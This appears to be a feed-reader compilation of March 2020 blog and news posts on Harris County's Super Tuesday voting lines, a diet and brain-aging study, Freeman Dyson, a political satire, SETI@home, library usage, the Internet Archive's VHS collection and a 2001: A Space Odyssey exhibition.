It’s kind of amazing that more people didn’t just give up and walk away after hours of waiting on line. You think you’re committed to American ideals and democracy, tell that to Hervis Rogers and the other people who waited as long as they did to exercise their right to vote. Every last one of them deserves our thanks, and a hell of a lot better from the experience next time.

This story expands a bit on that last paragraph above.

The clerk’s office dispatched additional machines to some poll sites, located in heavily black and Hispanic neighborhoods including Third Ward, Acres Homes and Gulfgate. They provided only partial relief.

At Texas Southern University, where just 48 Republicans voted early, the final Democratic voter cast his ballot after 1 a.m. after waiting in line for more than six hours.

Democratic election workers at a Sunnyside voting center reported functioning machines were broken in a successful ruse to get the clerk’s office to send more, a spokeswoman for Trautman said.

The sheer expanse of Harris County’s 1,777 square miles and most-in-Texas 2.3 million registered voters long has posed problems for county clerks in primary and general elections. When Democratic precincts in past elections had extremely long lines, some in the party blamed the Republican county clerk.

Problems persisted in Tuesday’s primary, however, even though Democrats have controlled every countywide post since last year.

Yes, and many people noticed, though a lot of blame still accrued to Republicans thanks to their long and dedicated record of vote suppression. But we don’t have Stan Stanart to kick around any more, and the spotlight is on us to fix this, not just for next time but on a more permanent basis.

I mean, I can accept that the Harris County GOP’s refusal to go along with a joint primary and the certainty that they’d pitch a fit if Dems got more voting machines than they did even though it was a virtual certainty that Dems would be the larger part of the Tuesday electorate was a problem. But we elected Diane Trautman to solve problems like that, and on Tuesday she didn’t. The onus is squarely on her to be completely transparent about what happened and why it happened, and to come up with a plan to ensure it never happens again. That doesn’t mean just brainstorming with her staff. That means concrete action involving all of the stakeholders – people from the community, election law experts, Commissioner Ellis and Garcia’s offices, County Attorney Vince Ryan and 2020 nominee Christian Menefee, grassroots organizations like TOP and the Texas Civil Rights Project and whoever else, and the HCDP since they have as big a stake in this as anyone. Convene a commission, get everyone’s input on what they saw and what they experienced and what they know and what they need, and come up with a plan for action.

Among other things, that means having much better communications, both before the election so people have a better idea of what polling places are open and what ones aren’t – yes, this is on the website, but clearly more than that needs to be done – and on Election Day, when rapid response may be needed to deal with unexpected problems. Why weren’t there more voting machines available on Tuesday, and why wasn’t there a way to get them to the places with the longest lines in a timely manner? Let the Republicans whine about that while it’s happening, at that point no one would care. Stuff happens, and anyone can guess wrong about what Election Day turnout might look like. But once that has happened, don’t just sit there, DO SOMETHING about it. It really shouldn’t have to take election clerks pretending that machines had malfunctioned to get some relief.

Also, as useful as the voting centers concept is, we need to recognize that for folks with mobility issues, having places they can walk to really makes a difference. Add Metro and transit advocacy folks like LINK Houston to that list of commission attendees, because the mobility of the people in a given neighborhood needs to be weighed into decisions about which Election Day sites are open and which are consolidated in the same way that relative turnout is. If a significant segment of a given population simply can’t drive to another neighborhood to vote, then all the voting centers in the world don’t matter.

I get that in November we’ll have all locations open, and there won’t be any squabble over who gets which voting machines. That will help. But in November, no matter how heavy early voting will be, we’re going to get a lot more people going to the polls on Election Day than the 260K or so that turned out this Tuesday. Voter registration is up, turnout is up, and we need to be much better prepared for it. Diane Trautman, please please please treat this like the emergency that it is. And Rodney Ellis, Adrian Garcia, and Lina Hidalgo, if that means throwing some money at the problem, then by God do that. We didn’t elect you all to have the same old problems with voting that we had before. The world is watching, and we’ve already made a lousy first impression. If that doesn’t hurt your pride and make you burn to fix it, I don’t know what would.

(My thanks to nonsequiteuse and Melissa Noriega for some of the ideas in this post. I only borrow from the best.)

UPDATE: Naturally, after I finished drafting this piece, out comes this deeper dive from the Trib. Let me just highlight a bit of it:

Months before, the Democratic and Republican county parties had been unable to agree to hold a joint primary, which would have allowed voters to share machines preloaded with ballots for both parties.

The Harris County Democratic Party had agreed to the setup, but the Harris County GOP refused, citing in part the long lines Republican voters would have to wait through amid increased turnout for the pitched Democratic presidential primary.

“We wanted them to do a joint primary where you would just have one line and voters could use all the machines, but they couldn’t agree on that,” said Harris County Clerk Diane Trautman, who was elected to her post in 2018.

Without a resolution, Trautman chose to allocate an equal number of machines for both primaries at each polling site “because we didn’t want to slight anyone,” particularly as Harris moved to countywide voting to free voters from precinct-specific voting. But the move essentially halved the number of voting machines available to Democratic voters on a busy election day. That meant Republican voting quickly wrapped up across the county while Democratic lines made for extra hours of voting at multiple polling places.

In a Wednesday press conference, Paul Simpson, the chair of the Harris County GOP, reiterated that the party was adamantly opposed to joint primaries and sought to preempt any blame for long Democratic lines. To Simpson, Trautman misfired by pursuing a 50/50 split of voting machines across the board instead of using past turnout data to adjust allocations, and he pointed to the party’s recommendation to give Republicans only four machines at Texas Southern University.

“The county clerk refused and failed to follow our suggestion to avoid the lines that we predicted last summer were going to happen,” Simpson said.

(Previous voting patterns weren’t available for Texas Southern University, which was only added as polling place under Trautman.)

But Lillie Schechter, the chairwoman of the Harris County Democratic Party, said the excessive wait times Democrats faced Tuesday were part of a broader electoral divide in a county that has turned reliably blue in recent years. That change in power has come with voting initiatives that local Republicans have not warmed up to, including a move to countywide voting that allows voters to cast ballots at any polling place in the county on election day.

To keep countywide voting for the primary election, the political parties needed to agree on the distribution of shared polling places. But the map the GOP pushed for on Super Tuesday established more voting centers in the two county commissioner precincts represented by Republicans, Schechter said.

“If you look at the story to say let’s blame the county clerk’s office, you’re missing the big picture here,” Schechter said.

In the aftermath of the wait time debacle, Trautman acknowledged that Democratic voting on Super Tuesday was bogged down by both technical and training issues. The county’s voting machines — the oldest in use among the state’s biggest counties — went down at different points in the night. Election workers weren’t always able to make the adjustments to bring them back into order. Both machines and election workers were “stretched to the max” during the late-night voting slog, she said.

At midnight — seven hours after polls closed — voting was again interrupted at the two polling places that were still running, including the Texas Southern University site, when the tablets used to check in voters automatically timed out and had to be rebooted.

Later on Wednesday, Trautman signaled she was assessing what the county needed to fix moving forward — a better method for rerouting voters to nearby voting sites with shorter lines, a wait time reporting system that’s not dependent on busy election workers, pushing for more early voting and, perhaps most notably, purchasing additional equipment for the November election.

“We will work to improve to make things better,” Trautman said.

It’s the right attitude and I’m glad to see it. The Clerk’s office is also in the process of scoping out new voting machines, which can’t come soon enough but which will introduce new challenges, in terms of adapting to the new technology and educating voters on how to use it. All this is a good start, and now I want to see a whole lot of follow-through.

05 Mar 21:18

Study shows low carb diet may prevent, reverse age-related effects within the brain

by Azra Raza

From Phys.Org:

A study using neuroimaging led by Stony Brook University professor and lead author Lilianne R. Mujica-Parodi, Ph.D., and published in PNAS, reveals that neurobiological changes associated with aging can be seen at a much younger age than would be expected, in the late 40s. However, the study also suggests that this process may be prevented or reversed based on dietary changes that involve minimizing the consumption of simple carbohydrates.

To better understand how diet influences brain aging, the research team focused on the presymptomatic period during which prevention may be most effective. In the article titled “Diet modulates brain network stability, a biomarker for brain aging, in young adults,” they showed, using large-scale life span neuroimaging datasets, that functional communication between brain regions destabilizes with age, typically in the late 40’s, and that destabilization correlates with poorer cognition and accelerates with insulin resistance. Targeted experiments then showed this biomarker for brain aging to be reliably modulated with consumption of different fuel sources: glucose decreases, and ketones increase, the stability of brain networks. This effect was replicated across both changes to total diet as well as after drinking a fuel-specific calorie-matched supplement.

“What we found with these experiments involves both bad and good news,” said Mujica-Parodi, a Professor in the Department of Biomedical Engineering with joint appointments in the College of Engineering & Applied Sciences and Renaissance School of Medicine at Stony Brook University, and a faculty member in the Laufer Center for Physical and Quantitative Biology. “The bad news is that we see the first signs of brain aging much earlier than was previously thought. However, the good news is that we may be able to prevent or reverse these effects with diet, mitigating the impact of encroaching hypometabolism by exchanging glucose for ketones as fuel for neurons.”

What the researchers discovered, using neuroimaging of the brain, is that quite early on there is breakdown of communication between brain regions (“network stability”).

More here.

05 Mar 21:18

The Right to Repair Will Help Us Endure Outbreaks

by Kyle Wiens
As the coronavirus disrupts the global supply chain, the ability to fix our stuff is key to our resilience.
05 Mar 21:17

Freeman Dyson as remembered by Tim O'Reilly

by David Pescovitz

Legendary physicist and mathematician Freeman Dyson, whose mind-blowing work ranged from quantum electrodynamics to nuclear engineering to the search for extraterrestrial intelligence, died last week at 96-years-old. Tim O'Reilly just published a tribute to Dyson's genius, curiosity, kindness and unique lens on, well, everything. From O'Reilly Radar:

When I interviewed Freeman on stage at OSCON in 2004, along with his son George, the subject strayed to digital preservation. I lamented how much would be lost due to incompatible standards for information storage, and he said, “Oh no, forgetting is so important! It is what gives room for new ideas to come in.” This was such a typical Freeman moment: bringing a profoundly fresh perspective to any discussion. Perhaps the most famous example is the paper he wrote in 1949 at the age of 25 making the case that the visualizations of Richard Feynman were mathematically equivalent to the calculations of the more conventional physicists Julian Schwinger and Shin’ichirō Tomonaga, a paper that led to Feynman, Schwinger, and Tomonaga receiving the 1965 Nobel Prize in Physics for the theory of quantum electrodynamics...

After George sent an email to a group of friends about Freeman’s death, Danny Hillis replied with a story that seems to perfectly encapsulate this gift of Freeman’s for seeing things that others missed. “I visited him recently,” Danny wrote, “and we got into a conversation about self-organizing systems. After lunch we climbed up the long stairs to his office, and when we sat down he seemed a bit distracted. I asked him what was wrong. Well, he said, what seemed wrong was that self-gravitating systems have negative specific heat capacity. The thing to do, he said, was to figure out why that was right.” When the world doesn’t quite make sense, don’t brush the offending observations under the rug. Think harder.

"Remembering Freeman Dyson" (O'Reilly Radar)

image credit: Monroem (CC BY-SA 3.0)

05 Mar 20:41

I Don’t Hate Women Candidates  —  I Just Hated Hillary Clinton and Now Believe That Elizabeth Warren Is Responsible for the Collapse of the Republic

by Devorah Blachor

When you hated Hillary Clinton, you didn’t really have to explain yourself. Everyone understood why someone would hate Hillary Clinton, the worst Pizzagate warmonger in human history who was so evil that she spent her First Lady years trying to get Americans universal healthcare. Ugh.

But it was hard to reach the same conclusion with Elizabeth Warren. At least, it was hard at first. When we were introduced to her, she was fiercely taking on the big banks and lobbyists to create the CFPB, which returned $12 billion to consumers and students who had been defrauded.

After that, we got to know Warren better as an advocate for requiring banks to admit wrongdoing and pay fines, as an opponent to big pharma and health-industry corruption, and as a champion of the progressive agenda. If anti-corruption took human form, it would definitely look like a 70-year-old professor in a Nina McLemore tailored jacket.

But then something changed. It’s hard to pin down just when, but if pressed, I’d have to say the turning point was when Elizabeth Warren gained momentum in the presidential race, and then made a mistake. That’s when I knew she wasn’t an ideal candidate, but instead was a demonic creature who must be stopped before she destroyed our country.

For some, Warren’s ruinous mistake was her Medicare for All plan, which would have brought Americans universal healthcare. That would have been amazing, but when Chris Matthews made it sound so inconvenient because of an increased tax rate, we all understood that Warren was unfit to serve. In contrast, any vagaries surrounding Bernie’e Medicare for All plan were just details to be hammered out at a later date.

For others, her big error was the DNA test. When she apologized for it, Warren proved that she’s irredeemable and untrustworthy. Every time the most lying President in American history called her “Pocahontas,” we were reminded anew of how terrible she was.

But for those who are more forgiving, Elizabeth Warren became unsupportable only once we found out how she didn’t vote the exact right way in the Senate. Did you know that she voted for a bill to increase military spending, which means she actually KILLED INNOCENT PEOPLE? That’s a real thing people and bots wrote on Twitter, so it must be logical. Her moral purity was forever tarnished, whereas the stain of any questionable vote or actions taken by the other candidates could be easily washed away by Pete’s intelligence, Joe’s likeability, Mike’s money, and Bernie’s Bernieness.

Still, none of Elizabeth Warren’s blunders were as bad as the worst crime of all, which is that she stayed in the presidential race. This was unforgivable. Once Warren’s poll numbers started to go down, the writing was on the wall, but she was too much of a crazed megalomaniacal she-devil to read it. If other candidates slumped in the polls, it was a sign that they should shift tactics, but for Warren, that absolutely meant she should step aside. Her optimism and hope, and the way she inspired her supporters, wasn’t important at all. It was just coronavirus poison in disguise.

A few months ago, when I was hating Kamala Harris, I couldn’t have imagined a candidate eliciting the same kind of strong negative emotion, but man I was wrong. And because Warren stayed in the race through Super Tuesday, the consequences will be catastrophic. Thanks to her, other candidates didn’t get the votes they should have received, and now we’ll never have universal healthcare and climate change will destroy the planet. If only she had dropped out sooner, or never ran in the first place, none of these misfortunes would have happened. But now we are doomed. When Donald Trump is reelected, we can lay all the blame on Elizabeth Warren, and that will feel so good.

I don’t hate women candidates — those snake emojis were symbols of love and respect for them — I just hated Hillary Clinton, and now I hate Elizabeth Warren. As I decide between the spry, fresh faces of Bernie Sanders and Joe Biden, I will tell my daughter that girls can do anything, that the sky’s the limit, and that she can even be president of the United States one day — just as long as she doesn’t make any mistakes or get in any man’s way.

- - -

Read also:
I Don’t Hate Women Candidates — I Just Hated Hillary and Coincidentally I’m Starting to Hate Elizabeth Warren.

05 Mar 20:05

The grandfather of distributed computing projects, SETI@home, shuts down

by John Timmer
Image of a multi-color spectrum with many small peaks, with text above it.

Enlarge (credit: Wikimedia commons)

Over the weekend, the people who manage the SETI@home distributed-computing project announced it would be going on hiatus at the end of March. The project was one of the first efforts that successfully convinced home users to donate some of their free computing time to help with research, and its success spawned a large number of related projects.

While it's on hiatus, users with a fondness for distributed computing might take a look at Folding@home, which is trying to figure out the structures of proteins on the surface of the SARS-CoV-2 coronavirus.

SETI sunset

The SETI@home's project page describes the reason for the shutdown simply. Over the years, home users have done so much processing that the team now has a large backlog of processed data to analyze. So, the researchers are de-prioritizing the management of the data distribution and focusing instead on looking at what has already been done in the hope of getting their analysis published in an academic journal. As a result, no more work units will be distributed after the end of March.

Read 9 remaining paragraphs | Comments

03 Mar 18:31

Americans Visited Libraries Almost Twice as Often as They Went to the Movies Last Year, a New Survey Shows

by Josh Jones

Image via Wikimedia Commons

One recurring story over the past year, covered by every major news outlet, asks whether streaming services are “killing” movie theaters (or if they are killing themselves). Another looks into the trend of binge-watching, and the effect of an entertainment ecosystem built on shows that seem to stream themselves. Given the ubiquity of this kind of coverage, we might be forgiven for suspecting that the U.S. is turning into a mass of passive home viewers transfixed by supernatural thrillers, dark comedies, reality TV, teen dramas, etc.….

This isn’t entirely the case.... While others tally up the number of eyeballs on variously-sized screens, veteran polling outfit Gallup spent part of December 2019 asking Americans around the country what they did when they went out. Among the nine activities they listed—including movies, concerts, sporting events, museums, zoos, and casinos—“visiting the library remains the most common cultural activity Americans engage in, by far,” averaging 10.5 visits per year, notes Justin McCarthy at Gallup News.

To put that “by far” into perspective, those polled reported, on average, going to the library almost twice as often as going to the movies, the second-place activity, over the past year. But as with all such polling data, we should not draw hasty conclusions without looking at specifics. Gallup breaks down the demographics by gender, age, income, region, and by households with and without children. Surprisingly, they found very little difference between the latter two groups’ reported library trips.

Among the other categories, we find that women reported going to libraries almost twice as often as men; that people between 18-29 report going over twice as often as those between 50-64—perhaps due to college assignments; and that low income households report going at much higher rates than those in higher brackets. “Cost seems to be a factor driving these trends,” writes Brigit Katz at Smithsonian. “Visiting the library is free, as are the variety of services libraries offer, including Wi-Fi.”

Indeed, “29 percent of library-going Americans over the age of 16 went to use computers, the internet or a public Wi-Fi network.” Libraries are places to gain access to cultural experiences that can be cost-prohibitive elsewhere: to take free classes and enjoy free movies, music, and, yes, books. The number of average visits has remained unchanged since a similar poll in 2001, “suggesting libraries are as popular now as they were at the turn of the millennium.” Trips to the movies, on the other hand, are down an average of 1.3 visits.

Make of the data what you will in the full breakdown at Gallup News. The telephone survey has a very small sample size—1,024 adults in all 50 states—which may not be at all representative of the whole. Nonetheless, McCarthy concludes that “despite the proliferation of digital-based activities over the past two decades… libraries have endured.” May they continue to do so, and to serve the needs of all Americans, especially those who might otherwise have little access to the kinds of knowledge, information, and culture that libraries steward.

via Smithsonian

Related Content:

The New York Public Library Announces the Top 10 Checked-Out Books of All Time

Free Coloring Books from World-Class Libraries & Museums: Download & Color Hundreds of Free Images

Libraries & Archivists Are Digitizing 480,000 Books Published in 20th Century That Are Secretly in the Public Domain

Josh Jones is a writer and musician based in Durham, NC. Follow him at @jdmagness.

Americans Visited Libraries Almost Twice as Often as They Went to the Movies Last Year, a New Survey Shows is a post from: Open Culture. Follow us on Facebook, Twitter, and Google Plus, or get our Daily Email. And don't miss our big collections of Free Online Courses, Free Online Movies, Free eBooksFree Audio Books, Free Foreign Language Lessons, and MOOCs.

03 Mar 17:11

The Internet Archive has a treasure/trash trove of 20,000 VHS recordings from the 1980s and 1990s

by Mark Frauenfelder

The Internet Archives' VHS Vault isn't new, but since the beginning of the year it's been refreshed with hundreds of new uploads, reports LifeHacker.

So what kind of gems will you find in the VHS Vault? The clips, shows and films run the gamut from instructional videos, to documentaries, to children’s programs, to workout videos. Want to watch the 1935 film version of Les Misérables? It’s on there. Want to work out with Traci Lords? Your wish is the VHS Vault’s command. Want to watch every single episode of Salute Your Shorts? Get ready to spend some quality time with Budnick, Dina and Ug Lee. How about an introduction to Windows 95 with Jennifer Aniston and Matthew Perry? Yes, that exists, and it’s on there, too.

Image: Internet Archive

03 Mar 17:10

Peeking Behind the Curtain of 2001: A Space Odyssey

by Dan Schindel
On the Hotel Room set of 2001: A Space Odyssey (photo courtesy Warner Bros. via the Museum of the Moving Image)

2001: A Space Odyssey is one of the most acclaimed and influential films ever made, a landmark in epic filmmaking and science fiction. Director Stanley Kubrick still looms large over pop culture in general and film culture in particular, to the point where an extensive exhibition about his life and work garnered massive success several years back. Now, more than 50 years after the film’s release, the Museum of the Moving Image is presenting an exhibition specifically devoted to 2001. Envisioning 2001: Stanley Kubrick’s Space Odyssey
devotes a full floor of gallery space to props, tools, art, advertising, and other ephemera related to the conception, creation, and impact of the movie.

Replica HAL 9000 camera lens (all gallery photos by the author for Hyperallergic)

Little of the information presented in exhibition will be new to Kubrick diehards, but that’s not really the point of these kinds of shows. It’s one thing to read about the correspondences between Kubrick and legendary sci-fi author Arthur C. Clarke, who wrote the novel on which 2001 was based and helped shepherd it into being. It’s another thing to see their letters laid out for you yourself to read. Cinema is a process of illusion by which various real, tangible elements are transformed into impossible events through all manner of tricks, from editing to animation. Peeking behind the curtain and seeing those tangible artifacts is a thrill for anyone who has ever been affected by the movie those artifacts are from. For a touchstone such as 2001, that effect is magnified.

So there’s a thrill to being able to look up close at the costumes, to see the fur work on a bodysuit that a performer wore to play a pre-evolved human. My favorite part was discerning the detail in the Pan Am logo on a stewardess cap, something you likely can’t see in the film itself but which makes the product all the more convincing because they added it, even though no one would consciously recognize it. Even reproductions of props in lieu of originals, such as the “eye” of the sinister computer HAL 9000, can induce a chill.

Space helmet and hominid mask

Some parts of the exhibition don’t work quite as well. An alcove which plays the infamously psychedelic “Stargate” sequence on a loop can’t hope to match the overwhelming power of experiencing it in a theatrical setting. And in general, for all the interesting peripheral materials the show gathers, such as a tie-in comic book, it still lacks a good deal of context which it could have given to the pop culture landscape 2001 came into, and how it changed that landscape. Nonetheless, it’s an engaging visit for cinephiles and laypeople alike.

Astronaut suit costume on view in Envisioning 2001: Stanley Kubrick’s Space Odyssey at MOMI

Envisioning 2001: Stanley Kubrick’s Space Odyssey is on view at the Museum of the Moving Image (36-01 35th Avenue, Astoria, Queens) through July 19.